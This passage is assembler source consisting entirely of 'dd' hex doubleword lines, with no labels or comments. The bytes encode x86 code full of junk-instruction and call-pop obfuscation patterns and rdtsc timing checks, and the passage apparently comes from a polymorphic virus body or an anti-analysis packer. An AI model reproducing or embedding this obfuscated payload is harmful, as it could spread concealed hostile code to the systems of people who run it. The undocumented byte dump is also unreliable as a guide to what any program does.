		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 48CC1FF6h
		dd 0C51CA60Ah, 5BD8BB2h, 0FF060316h, 6A6FBB5h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 0FE9B8E8h, 0EC000000h, 0BC012AD9h, 9BDFD5CDh, 0D45A8F67h
		dd 30687A86h, 573EA27Bh, 12E9h,	0C0DEF00h, 0BEC0F29Dh
		dd 54ECF7E1h, 36D6176h,	5B3E3906h, 0CF243481h, 8D3EBD78h
		dd 6A70385h, 10E906h, 0B1F30000h, 0DAB35DA7h, 69D6C36Fh
		dd 0F7E7EC18h, 4DBBB222h, 90776587h, 0BB665250h, 310F661Ch
		dd 0C93FBB66h, 9050585Ah, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 0A9C35646h, 0C8D92A41h, 95FFF620h, 6032E71h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 21C35141h
		dd 61B76BF4h, 8974E0DCh, 19E1B589h, 9D8B0603h, 6031FC9h
		dd 0EE861h, 332F0000h, 9F4EF5Eh, 0D245C6F1h, 18DC3984h
		dd 2AD59529h, 0C75F0603h, 3007185h, 306h, 83ACB700h, 6A703BDh
		dd 840F0006h, 56h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 16h, 3EC35040h, 0B501F610h, 60323B5h, 48E9h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 2FE51FE5h, 0AE0F928Fh, 61601DECh, 17B99589h
		dd 30500603h, 4400110Ch, 0E8C10111h, 11443010h,	114C0002h
		dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h
		dd 10E8C101h, 2114430h,	3116400h, 4E98358h, 1BEBE775h
		dd 10E8C150h, 3116428h,	2114430h, 11642858h, 11043001h
		dd 7504E983h, 8B00EBE7h, 50006AC0h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 38DCD926h, 9D8B4775h
		dd 6031761h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ah,	0A4C35343h, 0DE3D2F03h,	840FAC87h, 6, 2AEDBD8Bh
		dd 0BD830603h, 6030071h, 0CB850F03h, 6A000004h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 0F9C9C357h, 3BD83F1h, 606A7h, 4A0840Fh, 0E8B30000h
		dd 0A703B5FFh, 6A0606h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 0F9F9E7C3h, 2A7595FFh, 6A0603h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 89FAD2C3h, 307A59Dh,	0F59D8906h, 8B060316h, 6A6F7B5h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 2657CDD6h, 18956751h, 8B0FE648h,	2, 6C75B52h
		dd 10001h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 16h,	97C35343h, 0BF518C5Ah, 2C87826Eh, 5250505Bh, 5B616050h
		dd 0B860310Fh, 53F7A40Dh, 5A61AEB5h, 24348958h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0AC35040h, 54304086h
		dd 6660FE2Ah, 40BFCB81h, 3B5FF61h, 6A0606A7h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 7B8BC352h, 0FC0ADE76h, 0BFD54497h, 689AB466h, 0ADBD8B60h
		dd 0F060300h, 68Eh, 0C99D8B00h,	6106031Ch, 244995FFh, 6A0603h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 0B58B85C3h, 606A6F7h, 4D9589h, 8D010603h, 6031A95h
		dd 3131858Bh, 6A0603h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 3880EDC3h, 0C48689D9h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 182C352h,	96FDAAA4h, 0F6092CBh, 0B58BFFB7h
		dd 6030E19h, 0A5958B61h, 6A060320h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0F1A3C352h
		dd 83FA8B58h, 0FE904C2h, 0CA000000h, 0E6CFB416h, 22A8A756h
		dd 0E30A9FADh, 50899B0Ch, 55006A20h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 585681E2h
		dd 0C1B440EAh, 599501D8h, 8D06032Ah, 6BB1685h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 0FB29B31Ah, 9D2C6832h, 8689CCD2h, 0B8h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 4FC35040h, 0FDDF8166h
		dd 6A006A32h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 0E431C350h, 0B5FF353Dh, 606A703h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0DAC35242h
		dd 3059BD8Bh, 95FF0603h, 6030CFDh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 0EC35646h, 0BE32BB50h, 3489059Bh
		dd 56006A24h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 2E7F4525h, 9D8B53ADh, 60325D1h, 0A703B5FFh
		dd 6A0606h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 2B2354C3h, 7D95FFAFh, 6A06032Eh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 9250C353h, 0BD83119Ah, 60326C9h, 7C840F00h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 2CD3C355h, 0E366E0DEh, 6810F60h, 29000000h
		dd 32A9985h, 9E95306h, 0D3000000h, 98FA768Fh, 0E1140ED9h
		dd 5150615Fh, 11E9h, 19FAB100h,	0DFF93FF5h, 0D447A5DFh
		dd 0C747DE7Dh, 895F1A94h, 6A2434h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 816609C3h, 0FF81B8F3h
		dd 6A703B5h, 0FFC3B706h, 314B995h, 0B3FB8B06h, 3B5FF82h
		dd 0F0606A7h, 689h, 55BD8B00h, 0FF060303h, 30C9595h, 4800F06h
		dd 66000000h, 8348DEBFh, 32D4DBDh, 840F0206h, 47h, 12E9h
		dd 5EB6E200h, 0B9E0B7B4h, 6410DC31h, 0BC268830h, 8BC73288h
		dd 323ED85h, 56006A06h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1704h, 0C3564600h, 5F6A46BDh, 0C6FB8Bh, 1DBD8900h, 0C7060329h
		dd 3308185h, 6,	53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 0BCB3BF91h, 99E9EA87h
		dd 6AFFFFF1h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 7D1DC356h, 0B649F8EDh,	9D85896Bh
		dd 8B060316h, 95B531C1h, 8D060309h, 3130985h, 299D8B06h
		dd 90060313h, 48E0Fh, 60510000h, 52505F61h, 2860Fh, 0FB8B0000h
		dd 6A905Fh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 44A220C3h, 6A9176h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 9C35343h, 800F006Ah, 19h, 0DE8h
		dd 0D6A00600h, 0E2365F38h, 0F7BA5731h, 890FB1FFh, 0
		dd 0B1858D5Bh, 89060778h, 300559Dh, 5C08306h, 0BB6690F5h
		dd 0F505F45h, 8Fh, 6A9000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 822CD7C3h, 1707BDA4h
		dd 0B7C88C98h, 6A006AB7h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 0E20B6479h
		dd 44413BB4h, 0BD8976CFh, 60315F1h, 0CFD7CF81h,	95FF6D5Ah
		dd 6031DF9h, 374ACB81h,	8D8D7E28h, 6069933h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 60C35646h, 4424ACh
		dd 0FF40B7A6h, 55006AD1h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 1A0208D5h, 4840FF2h, 66000000h
		dd 839F41BFh, 31D89BDh,	850F0106h, 7Ah,	0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 18h, 0F3C35747h, 2F574C66h
		dd 6A026Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
		dd 55450000h, 73A593C3h, 0DAEC3D45h, 90FAB70Fh,	0B0F0BB50h
		dd 89901699h, 30BB58Dh,	0FD95FF06h, 6A06030Ch, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 83E3C352h, 0EE9A2CDh, 0E800000Eh, 0
		dd 0BBED815Dh, 0F060778h, 587h,	0CFF1BF00h, 0FA8B41E9h
		dd 1925BD0Bh, 858D0603h, 6069100h, 0CE8h, 8BB0FB00h, 31433F3Fh
		dd 276309A6h, 0B1BD2BBEh, 5B060329h, 0FB8B5090h, 53006A90h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 0CCC21F4Ch, 0BB0FBFBDh, 23BC9D0Dh, 35FF64h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 31C4C353h, 0EE111661h, 0BD099D75h, 6030865h
		dd 258964h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 0E889C352h,	0EFED6ABCh
		dd 8F643D8Dh, 0AD8589h,	95890603h, 6032D9Dh, 1D0185FFh
		dd 81660603h, 6A59A5D7h, 50006AFFh, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 8C43ECF4h, 0C99D8B05h
		dd 0FF06032Dh, 30EA9B5h, 4D95FF06h, 0E906031Bh,	127h, 0B0DEB70Fh
		dd 19C38100h, 0E602482Ah, 0B1BD8B70h, 0E4060320h, 0DABF6671h
		dd 0F613CE0h, 10683h, 14E800h, 0FE4C0000h, 98504F4Ch, 0DC4E382Fh
		dd 24765127h, 0F66F47F6h, 8166ABA8h, 5B5CE7CFh,	0BAC8B60Fh
		dd 6, 0C16DBBF5h, 0C18B4CCDh, 18F18529h, 0E8C10603h, 9E904h
		dd 0E6F80000h, 0FB7C8FB9h, 8B22A387h, 0E2F766F9h, 14BD8D09h
		dd 0C82B0603h, 850Fh, 0D18B0000h, 7E8h,	12C53C00h, 2BC0A5CEh
		dd 0E911B660h, 0Ch, 0C25AD506h,	8DE84F9h, 68C1E445h, 8A0F5F61h
		dd 2, 6E9FA8Bh,	89000000h, 30889B5h, 0A5858B06h, 0BB06030Dh
		dd 2214F3EDh, 2B07C083h, 31AAD9Dh, 0C08306h, 6773BF66h
		dd 830FD03Bh, 16h, 6890F60h, 23000000h,	3169D95h, 1F58006h
		dd 3DE961h, 8D8B0000h, 6031699h, 1B49BD89h, 0BF660603h
		dd 0E183C25Ah, 24840F01h, 89000000h, 32E098Dh, 99A58306h
		dd 0FE060316h, 21999D29h, 95890603h, 6030DA5h, 1F859D8Bh
		dd 0E90603h, 8D000000h,	6F28DB5h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 0BD233DC6h
		dd 6032561h, 6E9h, 99E18800h, 6A86A5BCh, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
		dd 8B03CC48h, 32C3DBDh,	0B1BD8B06h, 0FF060315h,	323A595h
		dd 0AD958906h, 0B906030Dh, 7CFh, 0E856006Ah, 3,	5EC35E20h
		dd 4247489h, 4244481h, 17h, 0DAC35646h,	83EDCAABh, 6AFCE1h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 0A18243C3h, 8C8A392Ah, 8166E922h, 661D09DFh,	0FC632DBFh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 34C35343h
		dd 0F84D68E9h, 7D66C229h, 12E9A8h, 9D1F0000h, 56116E93h
		dd 0D1F01068h, 2004BDBBh, 85835B12h, 6AC02Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 3CD558C3h
		dd 80891496h, 0D22BABC7h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 15h, 1DC35040h, 0C381665Ch, 0BD8B2D55h, 6031AE9h
		dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 85897BB3h, 6030E59h
		dd 880Dh, 85958900h, 8B06031Ah,	320A595h, 51006A06h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h
		dd 507CB6D0h, 58EA802Fh, 8BF98BCEh, 40E380DFh, 1A658D8Bh
		dd 6A0603h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 57006C3h,	1855BD8Bh, 8B500603h, 3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 80C35747h, 2C0EA1BEh, 57006ACBh
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 0B7924BCDh, 0DBD83F4h, 60321h, 93840Fh, 0EE90000h, 2D000000h
		dd 0AD0342C2h, 0D7D57516h, 5E5E00CCh, 0EE9ACh, 12520000h
		dd 7A721CA5h, 4EA00E6Dh, 65A4EAD4h, 0B8h, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
		dd 2C2638D7h, 0E76E71A3h, 800F3159h, 6,	263DBD8Bh, 8D8D0603h
		dd 6034D69h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ch,	7EC35545h, 0DEEC218Eh, 1F952C20h, 6E9E1FFh, 0DC000000h
		dd 9CC2CF50h, 71BD8370h, 60300h, 3F6840Fh, 83F50000h, 30071BDh
		dd 840F0106h, 403h, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 15h, 0F9C35040h, 0B2BF6607h, 71BD8394h, 3060300h
		dd 39F860Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 604DF4C3h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 0ABC35545h,	50985B91h, 95FBFA2Bh
		dd 0D98C66D4h, 8B04E180h, 318FDBDh, 0FC90A06h, 12884h
		dd 0D98B6600h, 9AD858Bh, 81660603h, 338B6DCBh, 31A5985h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 32D78B28h, 56CC8DCCh, 9E781FDh, 50567D82h
		dd 8860Fh, 50500000h, 5A310F52h, 4895F58h, 57006A24h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h
		dd 6A006A12h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 0B10CC353h, 0BF03B48Ah, 9D894B35h
		dd 60325A5h, 70224968h,	0D88B6606h, 0B6243481h,	6A066F21h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 0E98DC351h, 0F4352E37h, 944E60DFh, 2E7195FFh
		dd 6A0603h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 0A289B5C3h, 0F117713h, 8589F9B7h,	606A703h
		dd 1ECE9h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1A04h, 0C3534300h, 35AD707Eh, 890D0031h, 320059Dh, 0FB858B06h
		dd 0C70606A6h, 1800h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1904h, 0C3554500h, 0CE905D72h, 0B58BF0BBh
		dd 606A6FFh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 19h,	89C35343h, 1F30917Eh, 819D8B46h, 8B06030Fh, 31F8985h
		dd 0FE906h, 79890000h, 99358500h, 0DE69B4A8h, 431D261Bh
		dd 6A06894Fh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 6362C352h, 0CB8004F6h,	0A4E380DFh
		dd 9AD858Bh, 46890603h,	52505004h, 0D08B6660h, 310F5250h
		dd 0F61585Ah, 5AFE8B31h, 24348958h, 599D8Bh, 0B5FF0603h
		dd 606A6FBh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 16h,	0E8C35747h, 4E8B839h, 0FF000000h, 50001F03h, 0E880F52h
		dd 0E9000000h, 9, 0DE31CB4Bh, 0C6C7D9D3h, 8B310F43h, 50585AF8h
		dd 8BDF8B66h, 66042444h, 8B3AB6BFh, 14E800h, 0D4610000h
		dd 29E77E67h, 0AFC2A847h, 0A5F26093h, 0E65AB1BCh, 850F658Bh
		dd 3, 5FF88B66h, 4244489h, 58DF8B66h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 84C35242h, 3858D04h
		dd 6A0606A7h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 0D708C351h, 572D7C89h,	8BDD4B86h
		dd 323D5BDh, 55BD8B06h,	90060316h, 50F98B66h, 90DA8B66h
		dd 0AEBE6660h, 95FF619Fh, 6032E71h, 0E8DAB70Fh,	0Ah, 0A40E0A8h
		dd 0F71522Eh, 0DB81E197h, 6ACE1911h, 0BF0F615Bh, 7185C7FBh
		dd 3060300h, 0F9000000h, 0A703BD83h, 0F000606h,	4084h
		dd 14E900h, 0D77D0000h,	0FE9F4124h, 0E847E9BDh,	14E402BAh
		dd 0EE3729F7h, 14E86E83h, 0BC000000h, 91703273h, 0A2121192h
		dd 0DDA5DD8Eh, 0A268488Ah, 811EE4BCh, 7B3FEDF7h, 1DE95F63h
		dd 0F8000000h, 0C3050F8h, 11440011h, 10E8C101h,	2114430h
		dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h
		dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 7CC35646h, 51D0956Fh,	0CEEC3169h, 0AE99Fh
		dd 75340000h, 0B64C171Bh, 5B31BE10h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 0ECC35545h,	0C75F8F12h, 0CC59E83Ch
		dd 819D8BC2h, 83060319h, 30071BDh, 850F0306h, 446h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 8C35141h, 684D58FFh
		dd 0BD83DD31h, 606A703h, 17840F00h, 66000004h, 0F2CFF381h
		dd 1E1D8501h, 0B5FF0603h, 606A703h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 5C35141h, 7BEAF502h, 8DC8977h
		dd 4A0888BFh, 7595FF78h, 6A06032Ah, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 205AC350h
		dd 0B529B688h, 6030EEDh, 8BFB8B66h, 6A6F7B5h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 0A5B41433h, 106C7h, 8B600001h, 31925B5h, 75958906h
		dd 61060316h, 5096FE8Ah, 0FB8B6652h, 0BF66965Bh, 0B5FF031Dh
		dd 606A703h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ch,	64C35545h, 84627862h, 294D2BC9h, 0ACD6BF66h, 244995FFh
		dd 6A0603h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 97030CC3h, 496705B5h, 8BF3A68Bh, 3266DBDh
		dd 0F7B58B06h, 6A0606A6h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 43D4C350h, 0FF98B66h
		dd 2B86h, 0CE800h, 0C1050000h, 0AB73E3BFh, 54C3B56Dh, 14E99CBFh
		dd 93000000h, 5AC06E80h, 3BEDFE4Fh, 705097F8h, 59E5396Fh
		dd 5BFC8427h, 3131858Bh, 95010603h, 603157Dh, 0C48689h
		dd 0BD8B0000h, 6032135h, 20A5958Bh, 29520603h, 31B1185h
		dd 81665B06h, 830EA5CBh, 6A04C2h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 403BD5C3h, 89B0E79Fh
		dd 32FA9BDh, 20508906h,	0D88B6650h, 16858D5Fh, 600606BBh
		dd 62F2D281h, 9E978F2h,	7C000000h, 47D36C2Eh, 0B4E5E222h
		dd 8689F561h, 0B8h, 5830Fh, 10BB0000h, 6A0E1DB6h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 0E9AF98D0h, 0DE3C101h, 45BD33B8h, 0FF060316h, 6A703B5h
		dd 0B7D38006h, 58B0F60h, 0B9000000h, 19878962h,	22B9BD8Bh
		dd 0FF610603h, 30CFD95h, 68B0F06h, 1000000h, 3258195h
		dd 66525006h, 5F4947BBh, 51243489h, 0AED9D31h, 0FF5B0603h
		dd 6A703B5h, 53006A06h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 1391B382h, 0F33B1E2Ch, 95FFF4D1h
		dd 6032E7Dh, 9E9h, 0E2756500h, 157FD26Eh, 0BD83DBDFh, 60326C9h
		dd 3E840F00h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 0F958C351h,	870Fh
		dd 0F500000h, 0B8Ah, 830F6000h,	0
		dd 61F38B66h, 8B243489h, 30055BDh, 3B5FF06h, 0F0606A7h
		dd 0C86h, 6880F00h, 8B000000h, 31DE5BDh, 0B995FF06h, 6A060314h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 0DE87C350h, 93B83829h, 0FFDE13DBh, 6A703B5h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 8D741473h, 0DB8166E4h, 95FFE595h, 6030C95h
		dd 0BD83DF8Bh, 6032D4Dh, 8D840F02h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 9E22C356h, 0CD4D867h, 0ABE2E03Ah, 1840Fh, 8BF80000h
		dd 323ED85h, 55006A06h,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 283A045Fh, 0DDBD030Dh, 8B060324h
		dd 325D9BDh, 0F1BD8906h, 0C6060318h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0BF66F2C3h
		dd 9D8BAA5Eh, 6031761h,	308185C7h, 603h, 13E90000h, 6A000000h
		dd 56502D57h, 0CEE46CD9h, 0B67C5C87h, 0B958040h, 0F4E98F5Dh
		dd 52FFFFF2h, 13E9h, 0B0E9CC00h, 0DE030509h, 0E9AB4FCDh
		dd 25A4AA95h, 0D183C78Ch, 66C18B5Bh, 0AE99F781h, 23DB8166h
		dd 9858DDCh, 89060313h,	318959Dh, 0FE95006h, 0D0000000h
		dd 0DC9A5FECh, 0A8084BB3h, 1924AFDDh, 48939EFh,	57006A24h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 0FD4DC15h, 48Bh, 6DBB6600h, 119D8BA5h, 6A06030Bh, 0B0EF8000h
		dd 0E781006Ah, 353B1EE9h, 88AA858Dh, 6A0607h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 775A18C3h
		dd 959589CEh, 83060326h, 816605C0h, 5007CFDBh, 33240489h
		dd 30F15BDh, 8B006A06h,	31581BDh, 6A006A06h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 23A2C356h, 95FF5E99h, 6031DF9h, 1E399D8Bh, 8D8D0603h
		dd 6069933h, 68ABE781h,	0D1FF0CABh, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 0AFC35343h,	7325F5DFh, 810FEFC5h
		dd 6, 2079BD8Bh, 0BD830603h, 6031D89h, 0CC850F01h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 9FBCC350h, 840F5143h, 3, 6ADBB70Fh, 55006A02h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 342DD352h, 25BD8B0Dh, 106032Ah, 3226D9Dh, 60509006h
		dd 8B665250h, 0E9310FCFh, 10h, 0CB71D67Bh, 3C5372D7h, 0FC5B7574h
		dd 0C45CEFF6h, 0BB66585Ah, 9061AE2Ah, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 2AC35545h, 0AC91C282h, 0C09F781h
		dd 95FF434Fh, 6030CFDh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 17h, 15C35747h, 50B9FF2Fh,	0E95BDD8Ah, 0EACh
		dd 0E8h, 0ED815D00h, 60788B4h, 0CE9h, 0A769BF00h, 44A31105h
		dd 0D8BDA7D1h, 52006A2Ah, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 8DF883F3h, 6910085h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 94316192h, 1C519D8Bh, 0E9900603h, 10h, 19778B88h, 61A4B608h
		dd 0EDB43C13h, 247C8A89h, 0BF669050h, 0FF641438h, 35h
		dd 0D88B6600h, 258964h,	6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0D1A8C356h
		dd 0D6C50C3h, 572E09BBh, 96D9589h, 0FF5B0603h, 31D0185h
		dd 0C820F06h, 0E9000000h, 7, 0E3498F2Ch, 6A0DDB15h, 55006AFFh
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 0C2367F9Dh, 7BF05BDh, 0B664BB66h, 0B5FF07B3h, 603217Dh
		dd 0FE9h, 8BAC1500h, 5E453A5Bh,	0F4E17DC9h, 5F12DCABh
		dd 1C6D9D89h, 95FF0603h, 6031B4Dh, 140E9h, 0D9BF0F00h
		dd 0BD8900B0h, 60329C5h, 0DE870E6h, 0B1000000h,	0E747BEAEh
		dd 5C5462A8h, 0F51E9EBBh, 60C4BF57h, 5B5B33F7h,	0E9BF71E4h
		dd 3C0F17EBh, 0A830F61h, 89000001h, 325898Dh, 0C8B60F06h
		dd 3237C781h, 6BA72E0h,	0BB000000h, 57F5F50Bh, 2C09BD89h
		dd 0C18B0603h, 0A552E6BFh, 4E8C12Bh, 1B890Fh, 13E80000h
		dd 88000000h, 12084594h, 9E9F21B3h, 8D9B3D5Ah, 0A2F94831h
		dd 0F88B4FA3h, 664FB75Fh, 9D8BE2F7h, 603049Dh, 880FC82Bh
		dd 6, 0F019D8Bh, 0D18B0603h, 2A719D23h,	0E8520603h, 8
		dd 0C7D3ECA4h, 0A9697910h, 6A9323BBh, 0E95F5B5Bh, 4, 3634BF66h
		dd 68D858Bh, 0C0830603h, 1DBD8B07h, 83060304h, 0BD8B00C0h
		dd 6031E25h, 5E8h, 4E3C6D00h, 0DB8030F8h, 0D03B5F07h, 0B830Fh
		dd 0B70F0000h, 4BE9DEh,	0BF0F0000h, 118D8BFBh, 0E9060331h
		dd 0Ah,	0A6BF5E03h, 0D572997Fh,	0E183C36Eh, 2A840F01h
		dd 8B000000h, 318F99Dh,	0DFBF0F06h, 3111A583h, 89FE0603h
		dd 3068D95h, 6810F06h, 8B000000h, 30F65BDh, 0DEB70F06h
		dd 0E9h, 3DB58D00h, 6A0606FCh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 4E7CC351h, 5D826738h
		dd 0E3BB66E0h, 0E9006A1Fh, 7, 77F694E3h, 0E817049Ah, 0Eh
		dd 0C2583E46h, 252A857Fh, 837A10B2h, 8B60789Ah,	3148585h
		dd 0FF5F6106h, 323A595h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 0FEA2A21Eh, 6709C2CAh
		dd 246DBD89h, 0D2B90603h, 6A000008h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0FC63C351h
		dd 0FCE183BEh, 3600BB66h, 4DB509FCh, 0B8060314h, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 9DC35646h
		dd 6FF92FBFh, 2850F28h,	0B3000000h, 0BAC6h, 6A0000h, 3E853h
